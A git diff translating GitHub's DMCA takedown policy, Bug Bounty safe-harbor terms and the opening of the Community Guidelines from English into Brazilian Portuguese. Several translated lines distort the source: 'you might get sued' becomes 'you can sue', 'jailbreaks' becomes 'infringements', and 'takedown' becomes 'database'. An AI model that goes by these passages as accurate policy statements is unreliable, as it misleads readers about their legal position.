-4. **User Notifies GitHub of Changes.** If the user chooses to make the specified changes, they *must* tell us so within the window of approximately 1 business day. If they don't, we will disable the repository (as described in Step 6). If the user notifies us that they made changes, we will verify that the changes have been made and then notify the copyright owner.
+4. **O usuário notifica o GitHub sobre as alterações.** Se o usuário escolher fazer as alterações especificadas, ele *deve* nos informar dentro de, aproximadamente, 1 dia útil. Caso contrário, desativaremos o repositório (como descrito na Etapa 6). Se o usuário nos notificar que fez as alterações, verificaremos se as alterações foram realmente feitas e, em seguida, notificaremos o detentor dos direitos autorais.
 
-5. **Copyright Owner Revises or Retracts the Notice.** If the user makes changes, the copyright owner must review them and renew or revise their takedown notice if the changes are insufficient. GitHub will not take any further action unless the copyright owner contacts us to either renew the original takedown notice or submit a revised one. If the copyright owner is satisfied with the changes, they may either submit a formal retraction or else do nothing. GitHub will interpret silence longer than two weeks as an implied retraction of the takedown notice.
+5. **O proprietário dos direitos autorais revisa ou retira o aviso.** Se o usuário fizer mudanças, o proprietário dos direitos autorais deve revisá-las e reenviar ou revisar seu aviso de retirada, caso as alterações sejam insuficientes. O GitHub não tomará nenhuma outra ação a não ser que o proprietário dos direitos autorais entre em contato conosco para refazer o aviso original de retirada ou enviar uma versão revisada. Se o proprietário dos direitos autorais estiver satisfeito com as mudanças, ele pode enviar uma retratação formal ou não fazer nada. O GitHub interpretará o silêncio por mais de duas semanas como uma retratação implícita do aviso de retirada.
 
-6. **GitHub May Disable Access to the Content.** GitHub will disable a user's content if: (i) the copyright owner has alleged copyright over the user's entire repository or package (as noted in Step 3); (ii) the user has not made any changes after being given an opportunity to do so (as noted in Step 4); or (iii) the copyright owner has renewed their takedown notice after the user had a chance to make changes. If the copyright owner chooses instead to *revise* the notice, we will go back to Step 2 and repeat the process as if the revised notice were a new notice.
+6. **O GitHub pode desativar o acesso ao conteúdo.** O GitHub irá desativar o conteúdo de um usuário se: (i) o titular dos direitos autorais tem alegados direitos autorais sobre todo o repositório ou pacote do usuário (conforme mencionado na Etapa 3); (ii) o usuário não fez nenhuma alteração depois de ter sido dada a oportunidade de fazê-la (conforme mencionado na Etapa 4); ou (ii) o proprietário dos direitos autorais renovou o seu aviso de retirada depois que o usuário teve a chance de fazer alterações. Se, em vez disso, o proprietário dos direitos autorais escolher *revisar* o aviso, voltaremos à Etapa 2 e repetiremos o processo como se o aviso revisado fosse uma nova notificação.
 
-7. **User May Send A Counter Notice.** We encourage users who have had content disabled to consult with a lawyer about their options. If a user believes that their content was disabled as a result of a mistake or misidentification, they may send us a [counter notice](/articles/guide-to-submitting-a-dmca-counter-notice). As with the original notice, we will make sure that the counter notice is sufficiently detailed (as explained in the [how-to guide](/articles/guide-to-submitting-a-dmca-counter-notice)). If it is, we will [post it](#d-transparency) to our [public repository](https://github.com/github/dmca) and pass the notice back to the copyright owner by sending them the link.
+7. **O usuário pode enviar um contra-aviso de retirada.** Encorajamos usuários com conteúdo desabilitado a consultar um advogado sobre as opções que possui. Se um usuário acredita que seu conteúdo foi desabilitado como resultado de um erro ou identificação incorreta, ele pode nos enviar um [contra-aviso de retirada](/articles/guide-to-submitting-a-dmca-counter-notice). Como na notificação original, garantiremos que o contra-aviso seja suficientemente detalhado (conforme explicado no [guia prático](/articles/guide-to-submitting-a-dmca-counter-notice)). Se estiver, vamos [postá-lo](#d-transparency) em nosso [repositório público](https://github.com/github/dmca) e passar o aviso de volta para o proprietário dos direitos autorais, enviando o link para ele.
 
-8. **Copyright Owner May File a Legal Action.** If a copyright owner wishes to keep the content disabled after receiving a counter notice, they will need to initiate a legal action seeking a court order to restrain the user from engaging in infringing activity relating to the content on GitHub. In other words, you might get sued. If the copyright owner does not give GitHub notice within 10-14 days, by sending a copy of a valid legal complaint filed in a court of competent jurisdiction, GitHub will re-enable the disabled content.
+8. **O proprietário dos direitos autorais pode entrar com uma ação legal.** Se um proprietário de direitos autorais deseja manter o conteúdo desativado após receber um contra-aviso, ele precisará entrar com uma ação judicial em busca de uma ordem da justiça para evitar que o usuário se envolva em infração à atividade relacionada ao conteúdo no GitHub. Em outras palavras, você pode processar. Se o proprietário dos direitos autorais não der um aviso no GitHub de 10 a 14 dias, enviando uma cópia de uma reclamação legal válida apresentada em tribunal de jurisdição competente, o GitHub reabilitará o conteúdo desabilitado.
 
-## B. What About Forks? (or What's a Fork?)
+## B. O que significa Bifurcação? (ou O que é uma Bifurcação?)
 
-One of the best features of GitHub is the ability for users to "fork" one another's repositories. What does that mean? In essence, it means that users can make a copy of a project on GitHub into their own repositories. As the license or the law allows, users can then make changes to that fork to either push back to the main project or just keep as their own variation of a project. Each of these copies is a "[fork](/articles/github-glossary#fork)" of the original repository, which in turn may also be called the "parent" of the fork.
+Um dos melhores recursos do GitHub é a possibilidade de os usuários "bifurcarem" repositórios uns dos outros. O que isso significa? Basicamente, isso significa que os usuários podem fazer uma cópia de um projeto no GitHub em seus próprios repositórios. Conforme a licença ou a lei permitirem, os usuários podem fazer alterações nessa bifurcação para ou fazer push de volta para o projeto principal ou simplesmente manter como sua própria variação de um projeto. Cada uma dessas cópias é uma "[bifurcação](/articles/github-glossary#fork)" do repositório original que, por sua vez, também pode ser chamado de "principal" da bifurcação.
 
-GitHub *will not* automatically disable forks when disabling a parent repository. This is because forks belong to different users, may have been altered in significant ways, and may be licensed or used in a different way that is protected by the fair-use doctrine. GitHub does not conduct any independent investigation into forks. We expect copyright owners to conduct that investigation and, if they believe that the forks are also infringing, expressly include forks in their takedown notice.
+O GitHub *não* irá desabilitar bifurcações automaticamente quando desabilitar um repositório principal. Isto ocorre porque as bifurcações pertencem a diferentes usuários, podem ter sido alteradas de maneira significativa e podem ser licenciadas ou utilizadas de uma forma diferente que seja protegida pela doutrina do uso justo. O GitHub não realiza nenhuma investigação independente sobre as bifurcações. Esperamos que os titulares de direitos autorais façam essa investigação e, se acreditarem que as bifurcações também estão violando direitos, incluam expressamente as bifurcações no seu aviso de retirada.
 
-In rare cases, you may be alleging copyright infringement in a full repository that is actively being forked. If at the time that you submitted your notice, you identified all existing forks of that repository as allegedly infringing, we would process a valid claim against all forks in that network at the time we process the notice. We would do this given the likelihood that all newly created forks would contain the same content. In addition, if the reported network that contains the allegedly infringing content is larger than one hundred (100) repositories and thus would be difficult to review in its entirety, we may consider disabling the entire network if you state in your notice that, "Based on the representative number of forks I have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository." Your sworn statement would apply to this statement.
+Em casos raros, você pode estar alegando a violação de direitos autorais em um repositório completo que está sendo ativamente bifurcado. Se, no momento em que você enviou a notificação, você identificou todas as bifurcações existentes do repositório como supostamente violadas, nós processaríamos uma reivindicação válida contra todas as bifurcações dessa rede no momento em que processamos a notificação. Nós faríamos isso tendo em conta a probabilidade de todas as novas bifurcações criadas conterem o mesmo conteúdo. Além disso se a rede relatada que contém o conteúdo supostamente violador for superior a 100 (cem) repositórios, seria difícil, portanto, revisá-la na sua totalidade, e podemos considerar a desabilitação de toda a rede se você declarar na sua notificação que, "Com base no número representativo de bifurcações que você analisou, acredito que todos ou a maioria das bifurcações estão cometendo violações na mesma medida que o repositório principal". A sua declaração juramentada será aplicada a esta declaração.
 
-## C. What about Circumvention Claims?
+## C. E quanto às reivindicações da circunvenção?
 
-The DMCA prohibits the [circumvention of technical measures](https://www.copyright.gov/title17/92chap12.html) that effectively control access to works protected by copyright. Given that these types of claims are often highly technical in nature, GitHub requires claimants to provide [detailed information about these claims](/github/site-policy/guide-to-submitting-a-dmca-takedown-notice#complaints-about-anti-circumvention-technology), and we undertake a more extensive review. 
+A DMCA proíbe a [contornar medidas técnicas](https://www.copyright.gov/title17/92chap12.html) que controlam efetivamente o acesso a obras protegidas por direitos autorais. Dado que este tipo de reclamação é, muitas vezes, de natureza altamente técnica, o GitHub exige que os reclamantes forneçam [informações detalhadas sobre essas reclamações](/github/site-policy/guide-to-submitting-a-dmca-takedown-notice#complaints-about-anti-circumvention-technology), e nós realizamos uma revisão mais abrangente.
 
-A circumvention claim must include the following details about the technical measures in place and the manner in which the accused project circumvents them. Specifically, the notice to GitHub must include detailed statements that describe:
-1. What the technical measures are;
-2. How they effectively control access to the copyrighted material; and 
-3. How the accused project is designed to circumvent their previously described technological protection measures.
+Uma alegação de circunvenção deve incluir os pormenores a seguir sobre as medidas técnicas em vigor e a forma como o projeto acusado as contorna. Principalmente, o aviso ao GitHub deve incluir declarações detalhadas que descrevem:
+1. Quais são as medidas técnicas;
+2. Como controlam, de forma eficaz, o acesso ao material protegido por direitos autorais; e
+3. O modo como o projecto acusado foi concebido para contornar as medidas de proteção tecnológica anteriormente descritas.
 
-GitHub will review circumvention claims closely, including by both technical and legal experts. In the technical review, we will seek to validate the details about the manner in which the technical protection measures operate and the way the project allegedly circumvents them. In the legal review, we will seek to ensure that the claims do not extend beyond the boundaries of the DMCA. In cases where we are unable to determine whether a claim is valid, we will err on the side of the developer, and leave the content up. If the claimant wishes to follow up with additional detail, we would start the review process again to evaluate the revised claims.
+O GitHub analisará de perto reclamações da circunvenção, incluindo especialistas técnicos e jurídicos. Na revisão técnica, Procuraremos validar os pormenores sobre a forma como funcionam as medidas de proteção técnica e a forma como o projeto as contorna. Na revisão jurídica, procuraremos assegurar que as alegações não vão para além das fronteiras do DMCA. Nos casos em que não formos capazes de determinar se uma reivindicação é válida, pecaremos no lado do desenvolvedor e deixar o conteúdo disponível. Se o reclamante desejar fazer o acompanhamento com informações adicionais, iniciaremos novamente o processo de revisão para avaliar as reclamações revisadas.
 
-Where our experts determine that a claim is complete, legal, and technically legitimate, we will contact the repository owner and give them a chance to respond to the claim or make changes to the repo to avoid a takedown. If they do not respond, we will attempt to contact the repository owner again before taking any further steps. In other words, we will not disable a repository based on a claim of circumvention technology  without attempting to contact a repository owner to give them a chance to respond or make changes first. If we are unable to resolve the issue by reaching out to the repository owner first, we will always be happy to consider a response from the repository owner even after the content has been disabled if they would like an opportunity to dispute the claim, present us with additional facts, or make changes to have the content restored. When we need to disable content, we will ensure that repository owners can export their issues and pull requests and other repository data that do not contain the alleged circumvention code to the extent legally possible.
+Quando os nossos especialistas determinarem que uma reivindicação é completa, legal e tecnicamente legítima, nós entraremos em contato com o proprietário do repositório e iremos dar-lhe a oportunidade de responder à reivindicação ou fazer alterações no repositório para evitar a desabilitação de um repositório. Se não responderem, tentaremos entrar em contato com o proprietário do repositório novamente antes de tomar qualquer outra medida. Em outras palavras, não desativaremos um repositório com base em uma reivindicação de circunvenção de tecnologia sem tentar entrar em contato com o proprietário do repositório para dar-lhe a oportunidade de responder ou fazer alterações primeiro. Se não formos capazes de resolver o problema entrando em contato com o proprietário do repositório, primeiro teremos o prazer de considerar uma resposta do proprietário do repositório mesmo depois que o conteúdo tenha sido desabilitado se quiser uma oportunidade de contestar a reclamação, apresenta-nos fatos adicionais, ou fazer alterações para que o conteúdo seja restaurado. Quando tivermos de desabilitar o conteúdo, garantiremos que os proprietários do repositório possam exportar os seus problemas, pull requests e outros dados do repositórios que não contenham o suposto código de contorno na medida do juridicamente possível.
 
-Please note, our review process for circumvention technology does not apply to content that would otherwise violate our Acceptable Use Policy restrictions against sharing unauthorized product licensing keys, software for generating unauthorized product licensing keys, or software for bypassing checks for product licensing keys. Although these types of claims may also violate the DMCA provisions on circumvention technology, these are typically straightforward and do not warrant additional technical and legal review. Nonetheless, where a claim is not straightforward, for example in the case of jailbreaks, the circumvention technology claim review process would apply.  
+Tenha em mente que o nosso processo de revisão para contornar a tecnologia não se aplica ao conteúdo que, de outra forma, violaria as nossas restrições de uso aceitável da política de compartilhamento de chaves de licenciamento de produtos não autorizadas, software para gerar chaves de licenciamento de produtos não autorizadas ou software para ignorar verificações de chaves de licenciamento de produtos. Embora estes tipos de alegações também possam violar as disposições da DMCA sobre as tecnologias de circunvenção, trata-se de questões tipicamente simples e não justificam uma revisão técnica e jurídica adicional. No entanto, quando a reivindicação não for simples, por exemplo, no caso de infracções, será aplicado o processo de revisão de pedidos de indemnização por tecnologia.
 
-When GitHub processes a DMCA takedown under our circumvention technology claim review process, we will offer the repository owner a referral to receive independent legal consultation through [GitHub’s Developer Defense Fund](https://github.blog/2021-07-27-github-developer-rights-fellowship-stanford-law-school/) at no cost to them.
+Quando o GitHub processa um banco de dados do DMCA no nosso processo de análise de tecnologia de circunvenção, nós ofereceremos ao proprietário do repositório uma indicação para receber uma consultoria jurídica independente por meio do do [Fundo de Defesa de Desenvolvedor do GitHub](https://github.blog/2021-07-27-github-developer-rights-fellowship-stanford-law-school/) sem nenhum custo.
 
-## D. What If I Inadvertently Missed the Window to Make Changes?
+## D. E se eu, inadvertidamente, deixar passar o período para fazer as alterações?
 
-We recognize that there are many valid reasons that you may not be able to make changes within the window of approximately 1 business day we provide before your repository gets disabled. Maybe our message got flagged as spam, maybe you were on vacation, maybe you don't check that email account regularly, or maybe you were just busy. We get it. If you respond to let us know that you would have liked to make the changes, but somehow missed the first opportunity, we will re-enable the repository one additional time for approximately 1 business day to allow you to make the changes. Again, you must notify us that you have made the changes in order to keep the repository enabled after that window of approximately 1 business day, as noted above in [Step A.4](#a-how-does-this-actually-work). Please note that we will only provide this one additional chance.
+Reconhecemos que há muitas razões válidas para que você possa não conseguir fazer alterações dentro da janela aproximada de 1 dia útil que fornecemos antes que seu repositório seja desativado. Talvez a nossa mensagem tenha sido sinalizada como spam, talvez você estivesse de férias, talvez você não verifique essa conta de e-mail regularmente, ou talvez você estivesse apenas ocupado. Nós entendemos isso. Se você responder para nos informar que gostaria de ter feito as alterações, mas de alguma forma perdeu a primeira oportunidade, reativaremos o repositório por um tempo adicional de aproximadamente 1 dia útil para permitir que você faça as alterações. Novamente, você deve nos notificar que fez as alterações para manter o repositório ativo após essa janela de 1 dia útil, conforme mencionado acima na [Etapa A.4](#a-how-does-this-actually-work). Por favor, note que só forneceremos esta chance adicional.
 
-## E. Transparency
+## E. Transparência
 
-We believe that transparency is a virtue. The public should know what content is being removed from GitHub and why. An informed public can notice and surface potential issues that would otherwise go unnoticed in an opaque system. We post redacted copies of any legal notices we receive (including original notices, counter notices or retractions) at <https://github.com/github/dmca>. We will not publicly publish your personal contact information; we will remove personal information (except for usernames in URLs) before publishing notices. We will not, however, redact any other information from your notice unless you specifically ask us to. Here are some examples of a published [notice](https://github.com/github/dmca/blob/master/2014/2014-05-28-Delicious-Brains.md) and [counter notice](https://github.com/github/dmca/blob/master/2014/2014-05-01-Pushwoosh-SDK-counternotice.md) for you to see what they look like. When we remove content, we will post a link to the related notice in its place.
+Acreditamos que a transparência é uma virtude. O público deve saber qual conteúdo está sendo removido do GitHub e por quê. Um público informado pode notar e supervisionar problemas potenciais que, de outra forma, passariam despercebidos num sistema obscuro. Publicamos cópias com conteúdo pessoal suprimido de quaisquer avisos legais que recebamos (incluindo avisos originais, contra-avisos ou retratações) em <https://github.com/github/dmca>. Não tornaremos públicas suas informações de contato pessoais; removeremos informações pessoais (exceto nomes de usuários nas URLs) antes de publicar avisos. No entanto, não iremos suprimir quaisquer outras informações do seu aviso, a menos que nos solicite especificamente que o façamos. Aqui estão alguns exemplos de um [aviso](https://github.com/github/dmca/blob/master/2014/2014-05-28-Delicious-Brains.md) publicado e um [contra-aviso](https://github.com/github/dmca/blob/master/2014/2014-05-01-Pushwoosh-SDK-counternotice.md) para você ver como eles são. Quando removermos o conteúdo, publicaremos no seu lugar um link para o aviso relacionado.
 
-Please also note that, although we will not publicly publish unredacted notices, we may provide a complete unredacted copy of any notices we receive directly to any party whose rights would be affected by it.
+Note também que, embora não divulguemos publicamente avisos sem a exclusão de dados pessoais, podemos fornecer uma cópia completa sem conteúdo suprimido de qualquer aviso que recebermos diretamente para qualquer uma das partes cujos direitos seriam afetados por ele.
 
-## F. Repeated Infringement
+## F. Violação recorrente
 
-It is the policy of GitHub, in appropriate circumstances and in its sole discretion, to disable and terminate the accounts of users who may infringe upon the copyrights or other intellectual property rights of GitHub or others.
+É política do GitHub, em circunstâncias apropriadas e a seu exclusivo critério, desativar e encerrar as contas de usuários que possam infringir direitos autorais ou outros direitos de propriedade intelectual do GitHub ou de terceiros.
 
-## G. Submitting Notices
+## G. Enviando avisos
 
-If you are ready to submit a notice or a counter notice:
-- [How to Submit a DMCA Notice](/articles/guide-to-submitting-a-dmca-takedown-notice)
-- [How to Submit a DMCA Counter Notice](/articles/guide-to-submitting-a-dmca-counter-notice)
+Se estiver pronto para enviar um aviso ou contra-aviso:
+- [Como enviar um Aviso DMCA](/articles/guide-to-submitting-a-dmca-takedown-notice)
+- [Como enviar um Contra-aviso DMCA](/articles/guide-to-submitting-a-dmca-counter-notice)
 
-## Learn More and Speak Up
+## Saiba Mais e Fale Mais
 
-If you poke around the Internet, it is not too hard to find commentary and criticism about the copyright system in general and the DMCA in particular. While GitHub acknowledges and appreciates the important role that the DMCA has played in promoting innovation online, we believe that the copyright laws could probably use a patch or two—if not a whole new release. In software, we are constantly improving and updating our code. Think about how much technology has changed since 1998 when the DMCA was written. Doesn't it just make sense to update these laws that apply to software?
+Se você navegar pela internet, não é muito difícil encontrar comentários e críticas sobre o sistema de direitos autorais em geral e sobre a DMCA em particular. Embora o GitHub reconheça e aprecie o papel importante que a DMCA tem desempenhado na promoção da inovação online, acreditamos que as leis de direitos autorais poderiam passar uma ou outra correção, ou mesmo uma nova versão completa. Em questão de software, estamos constantemente melhorando e atualizando nosso código. Pense no quanto a tecnologia mudou desde 1998, quando a DMCA foi escrita. Não faria sentido atualizar essa lei no que se aplica aos softwares?
 
-We don't presume to have all the answers. But if you are curious, here are a few links to scholarly articles and blog posts we have found with opinions and proposals for reform:
+Não presumimos ter todas as respostas. Mas se você é curioso, aqui estão alguns links para artigos acadêmicos e posts de blog que encontramos com opiniões e propostas de reforma:
 
-- [Unintended Consequences: Twelve Years Under the DMCA](https://www.eff.org/wp/unintended-consequences-under-dmca) (Electronic Frontier Foundation)
-- [Statutory Damages in Copyright Law: A Remedy in Need of Reform](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=1375604) (William & Mary Law Review)
-- [Is the Term of Protection of Copyright Too Long?](https://the1709blog.blogspot.com/2012/11/is-term-of-protection-of-copyright-too.html) (The 1709 Blog)
-- [If We're Going to Change DMCA's 'Notice & Takedown,' Let's Focus on How Widely It's Abused](https://www.techdirt.com/articles/20140314/11350426579/if-were-going-to-change-dmcas-notice-takedown-lets-focus-how-widely-its-abused.shtml) (TechDirt)
-- [Opportunities for Copyright Reform](https://www.cato-unbound.org/issues/january-2013/opportunities-copyright-reform) (Cato Unbound)
-- [Fair Use Doctrine and the Digital Millennium Copyright Act: Does Fair Use Exist on the Internet Under the DMCA?](https://digitalcommons.law.scu.edu/lawreview/vol42/iss1/6/) (Santa Clara Law Review)
+- [Consequências inesperadas: Doze anos sob a DMCA](https://www.eff.org/wp/unintended-consequences-under-dmca) (Electronic Frontier Foundation)
+- [Danos estatutários em Direitos Autorais: um remédio precisando de reforma](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=1375604) (William & Mary Law Review)
+- [O período de proteção de direitos autorais é muito longo?](https://the1709blog.blogspot.com/2012/11/is-term-of-protection-of-copyright-too.html) (The 1709 Blog)
+- [Se vamos alterar a "Notificação de & Retirada" da DMCA, vamos focar no quão ela é amplamente abusiva](https://www.techdirt.com/articles/20140314/11350426579/if-were-going-to-change-dmcas-notice-takedown-lets-focus-how-widely-its-abused.shtml) (TechDirt)
+- [Oportunidades para a reforma dos Direitos Autorais](https://www.cato-unbound.org/issues/january-2013/opportunities-copyright-reform) (Cato Unbound)
+- [Doutrina do uso justo e a Digital Millennium Copyright Act: o uso justo existe na internet sob a DMCA?](https://digitalcommons.law.scu.edu/lawreview/vol42/iss1/6/) (Santa Clara Law Review)
 
-GitHub doesn't necessarily endorse any of the viewpoints in those articles. We provide the links to encourage you to learn more, form your own opinions, and then reach out to your elected representative(s) (e.g, in the [U.S. Congress](https://www.govtrack.us/congress/members) or [E.U. Parliament](https://www.europarl.europa.eu/meps/en/home)) to seek whatever changes you think should be made.
+O GitHub não necessariamente apoia nenhum dos pontos de vista desses artigos. Fornecemos os links para incentivar você a aprender mais, formar suas próprias opiniões e, em seguida, entrar em contato com o(s) seu(s) representante(s) (por exemplo, no (p. ex., nos [EUA Congresso](https://www.govtrack.us/congress/members) ou [E.U. Parlamento](https://www.europarl.europa.eu/meps/en/home)) para procurar quaisquer alterações que você entenda que devem ser feitas.
diff --git a/translations/pt-BR/content/github/site-policy/github-bug-bounty-program-legal-safe-harbor.md b/translations/pt-BR/content/github/site-policy/github-bug-bounty-program-legal-safe-harbor.md
index 687fba4885..3889c03787 100644
--- a/translations/pt-BR/content/github/site-policy/github-bug-bounty-program-legal-safe-harbor.md
+++ b/translations/pt-BR/content/github/site-policy/github-bug-bounty-program-legal-safe-harbor.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Bug Bounty Program Legal Safe Harbor
+title: Programa de recompensa de erros e declaração Safe Harbor do GitHub
 redirect_from:
   - /articles/github-bug-bounty-program-legal-safe-harbor
 versions:
@@ -9,29 +9,29 @@ topics:
   - Legal
 ---
 
-## Summary
-1. We want you to coordinate disclosure through our bug bounty program, and don't want researchers put in fear of legal consequences because of their good faith attempts to comply with our bug bounty policy. We cannot bind any third party, so do not assume this protection extends to any third party. If in doubt, ask us before engaging in any specific action you think _might_ go outside the bounds of our policy.
-2. Because both identifying and non-identifying information can put a researcher at risk, we limit what we share with third parties. We may provide non-identifying substantive information from your report to an affected third party, but only after notifying you and receiving a commitment that the third party will not pursue legal action against you. We will only share identifying information (name, email address, phone number, etc.) with a third party if you give your written permission.
-3. If your security research as part of the bug bounty program violates certain restrictions in our site policies, the safe harbor terms permit a limited exemption.
+## Sumário
+1. Queremos que você coordene a divulgação por meio do nosso programa de recompensa de erros, e não queremos que os pesquisadores fiquem com medo de consequências legais por causa de suas tentativas de boa fé em cumprir nossa política de recompensa de bugs. Não podemos vincular terceiros, por isso, não interprete que essa proteção se estende a terceiros. Em caso de dúvida, pergunte-nos antes de se envolver em qualquer ação específica que você acha que _pode_ ir além dos limites de nossa política.
+2. Como tanto as informações de identificação quanto as de não identificação podem colocar um pesquisador em risco, limitamos o que compartilhamos com terceiros. Podemos fornecer informações substantivas não identificadas do seu relatório a terceiros afetados, mas somente depois de notificá-lo e receber um compromisso de que o terceiro não irá prosseguir com uma ação legal contra você. Só compartilharemos informações de identificação (nome, endereço de e-mail, número de telefone, etc.) com um terceiro se você der sua permissão por escrito.
+3. Se sua pesquisa de segurança como parte do programa de recompensa de bugs violar certas restrições em nossas políticas locais, os termos do porto seguro permitem uma isenção limitada.
 
-## 1. Safe Harbor Terms
+## 1. Termos de Porto Seguro
 
-To encourage research and coordinated disclosure of security vulnerabilities, we will not pursue civil or criminal action, or send notice to law enforcement for accidental or good faith violations of this policy. We consider security research and vulnerability disclosure activities conducted consistent with this policy to be “authorized” conduct under the Computer Fraud and Abuse Act, the DMCA, and other applicable computer use laws such as Cal. Penal Code 502(c). We waive any potential DMCA claim against you for circumventing the technological measures we have used to protect the applications in this bug bounty program's scope.
+Para incentivar a pesquisa e a divulgação coordenada das vulnerabilidades de segurança, não prosseguiremos com ações civis ou criminais, nem enviaremos notificação à polícia por violações acidentais ou de boa fé desta política. Consideramos que as atividades de pesquisa de segurança e divulgação de vulnerabilidades conduzidas, consistentes com esta política, são condutas "autorizadas" sob a Lei de Fraude e Abuso de Computadores, a DMCA, e outras leis aplicáveis de uso de computador, como a Cal. Código Penal 502(c). Renunciamos a qualquer potencial reclamação da DMCA contra você por contornar as medidas tecnológicas que usamos para proteger os aplicativos no escopo deste programa de recompensa de bugs.
 
-Please understand that if your security research involves the networks, systems, information, applications, products, or services of a third party (which is not us), we cannot bind that third party, and they may pursue legal action or law enforcement notice. We cannot and do not authorize security research in the name of other entities, and cannot in any way offer to defend, indemnify, or otherwise protect you from any third party action based on your actions.
+Por favor, entenda que se sua pesquisa de segurança envolve redes, sistemas, informações, aplicativos, produtos ou serviços de terceiros (que não somos nós), não podemos vincular esse terceiro, e eles podem prosseguir com ações legais ou notificação de aplicação da lei. Não podemos e não autorizamos pesquisas de segurança em nome de outras entidades, e não podemos de forma alguma oferecer para defender, indenizar ou proteger de qualquer outra forma de qualquer ação de terceiros com base em suas ações.
 
-You are expected, as always, to comply with all laws applicable to you, and not to disrupt or compromise any data beyond what this bug bounty program permits.
+Espera-se, como sempre, que você cumpra todas as leis aplicáveis e não interrompa ou comprometa quaisquer dados além do que este programa de recompensa de bugs permite.
 
-Please contact us before engaging in conduct that may be inconsistent with or unaddressed by this policy. We reserve the sole right to make the determination of whether a violation of this policy is accidental or in good faith, and proactive contact to us before engaging in any action is a significant factor in that decision. If in doubt, ask us first!
+Entre em contato conosco antes de se envolver em condutas que possam ser inconsistentes ou não endereçadas por esta política. Reservamo-nos o direito exclusivo de determinar se uma violação desta política é acidental ou de boa fé, e o contato proativo conosco antes de se envolver em qualquer ação é um fator significativo nessa decisão. Em caso de dúvida, pergunte-nos primeiro!
 
-## 2. Third Party Safe Harbor
+## 2. Porto Seguro de Terceiros
 
-If you submit a report through our bug bounty program which affects a third party service, we will limit what we share with any affected third party. We may share non-identifying content from your report with an affected third party, but only after notifying you that we intend to do so and getting the third party's written commitment that they will not pursue legal action against you or initiate contact with law enforcement based on your report. We will not share your identifying information with any affected third party without first getting your written permission to do so.
+Se você enviar um relatório através do nosso programa de recompensa de bugs que afeta um serviço de terceiros, limitaremos o que compartilhamos com qualquer terceiro afetado. Podemos compartilhar conteúdo não identificado do seu relatório com um terceiro afetado, mas somente depois de notificá-lo que pretendemos fazê-lo e obter o compromisso escrito de que ele não irá prosseguir com ações legais contra você ou iniciar contato com a aplicação da lei com base em seu relatório. Não compartilharemos suas informações de identificação com terceiros afetados sem antes obter sua permissão por escrito para fazê-lo.
 
-Please note that we cannot authorize out-of-scope testing in the name of third parties, and such testing is beyond the scope of our policy. Refer to that third party's bug bounty policy, if they have one, or contact the third party either directly or through a legal representative before initiating any testing on that third party or their services. This is not, and should not be understood as, any agreement on our part to defend, indemnify, or otherwise protect you from any third party action based on your actions.
+Por favor, note que não podemos autorizar testes fora do escopo em nome de terceiros, e tais testes estão além do escopo de nossa política. Consulte a política de recompensa por bugs desse terceiro, se ele tiver uma, ou entre em contato com o terceiro diretamente ou através de um representante legal antes de começar qualquer teste sobre esse terceiro ou seus serviços. Isso não é, e não deve ser entendido como, qualquer acordo de nossa parte para defender, indenizar ou de outra forma protegê-lo de qualquer ação de terceiros com base em suas ações.
 
-That said, if legal action is initiated by a third party, including law enforcement, against you because of your participation in this bug bounty program, and you have sufficiently complied with our bug bounty policy (i.e. have not made intentional or bad faith violations), we will take steps to make it known that your actions were conducted in compliance with this policy. While we consider submitted reports both confidential and potentially privileged documents, and protected from compelled disclosure in most circumstances, please be aware that a court could, despite our objections, order us to share information with a third party.
+Dito isto, se uma ação legal for iniciada por terceiros, incluindo a aplicação da lei, contra você por causa de sua participação neste programa de recompensa de bugs, e você tiver cumprido suficientemente com nossa política de recompensa de bugs (ou seja, não ter cometido violações intencionais ou de má fé), tomaremos medidas para que saiba que suas ações foram conduzidas em conformidade com esta política. Embora consideremos os relatórios apresentados, tanto documentos confidenciais quanto potencialmente privilegiados, e protegidos da divulgação compelida na maioria das circunstâncias, por favor, estejam cientes de que um tribunal poderia, apesar de nossas objeções, nos ordenar compartilhar informações com terceiros.
 
-## 3. Limited Waiver of Other Site Polices
+## 3. Renúncia limitada a outras políticas do site
 
-To the extent that your security research activities are inconsistent with certain restrictions in our [relevant site policies](/categories/site-policy/) but consistent with the terms of our bug bounty program, we waive those restrictions for the sole and limited purpose of permitting your security research under this bug bounty program. Just like above, if in doubt, ask us first!
+Na medida em que suas atividades de pesquisa de segurança são inconsistentes com certas restrições em nossas [políticas relevantes do site](/categories/site-policy/) mas são consistentes com os termos do nosso programa de recompensa de erros, renunciamos a essas restrições com o único e limitado propósito de permitir sua pesquisa de segurança sob este programa de recompensa de erros. Assim como acima, em caso de dúvida, pergunte-nos primeiro!
diff --git a/translations/pt-BR/content/github/site-policy/github-community-guidelines.md b/translations/pt-BR/content/github/site-policy/github-community-guidelines.md
index 7011d661da..37bb94b91a 100644
--- a/translations/pt-BR/content/github/site-policy/github-community-guidelines.md
+++ b/translations/pt-BR/content/github/site-policy/github-community-guidelines.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Community Guidelines
+title: Diretrizes da comunidade do GitHub
 redirect_from:
   - /community-guidelines
   - /articles/github-community-guidelines
@@ -10,110 +10,99 @@ topics:
   - Legal
 ---
 
-Millions of developers host millions of projects on GitHub — both open and closed source — and we're honored to play a part in enabling collaboration across the community every day. Together, we all have an exciting opportunity and responsibility to make this a community we can be proud of.
+Milhões de desenvolvedores hospedam milhões de projetos no GitHub — tanto código aberto quanto fechado — e temos orgulho de viabilizarmos a colaboração de toda a comunidade todos os dias. Juntos, temos uma empolgante oportunidade e a responsabilidade de tornar esta comunidade algo do qual podemos nos orgulhar.
 
-GitHub users worldwide bring wildly different perspectives, ideas, and experiences, and range from people who created their first "Hello World" project last week to the most well-known software developers in the world. We are committed to making GitHub a welcoming environment for all the different voices and perspectives in our community, while maintaining a space where people are free to express themselves.
+Usuários do GitHub em todo o mundo trazem perspectivas, ideias e experiências extremamente diferentes, abrangendo desde pessoas que criaram seu primeiro projeto "Olá Mundo" na semana passada até os mais conhecidos desenvolvedores de software do mundo. Estamos empenhados em fazer do GitHub um ambiente acolhedor para todas as diferentes vozes e perspectivas da nossa comunidade, mantendo um espaço onde as pessoas são livres para se expressarem.
 
